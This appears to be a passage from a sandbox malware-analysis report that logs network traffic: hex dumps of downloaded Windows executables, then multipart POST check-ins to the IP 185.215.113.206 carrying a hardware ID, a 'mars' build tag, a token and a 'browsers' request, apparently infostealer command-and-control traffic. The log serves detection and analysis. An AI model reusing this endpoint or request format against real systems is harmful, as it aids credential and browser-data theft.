24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 18:58:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 18:58:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 18:58:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 18:58:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 18:58:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 18:58:59 GMTContent-Type: application/octet-streamContent-Length: 1908224Last-Modified: Thu, 21 Nov 2024 18:41:56 GMTConnection: keep-aliveETag: "673f7ef4-1d1e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 02 61 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 1c 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 1b 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 69 6d 62 72 73 66 71 00 00 1a 00 00 20 31 00 00 fe 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 79 75 76 71 71 73 62 00 10 00 00 00 20 4b 00 00 06 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4b 00 00 22 00 00 00 fc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 38 34 42 37 44 39 39 43 30 32 31 32 32 35 36 38 36 33 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="hwid"B884B7D99C021225686314------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="build"mars------BKJJJDHDGDAAKECAKJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 62 64 63 66 39 37 61 65 34 34 38 62 62 66 34 35 31 36 31 32 30 30 35 31 35 65 62 33 31 36 36 64 34 31 34 30 32 38 66 30 31 62 36 61 38 31 34 32 33 62 35 64 31 65 64 33 39 30 38 63 63 33 37 38 33 30 34 64 65 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 46 42 4b 45 47 43 46 42 47 43 42 46 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="token"e5bdcf97ae448bbf45161200515eb3166d414028f01b6a81423b5d1ed3908cc378304de6------AFBAFBKEGCFBGCBFIDAKContent-Disposition: form-data; name="message"browsers------AFBAFBKEGCFBGCBFIDAK--
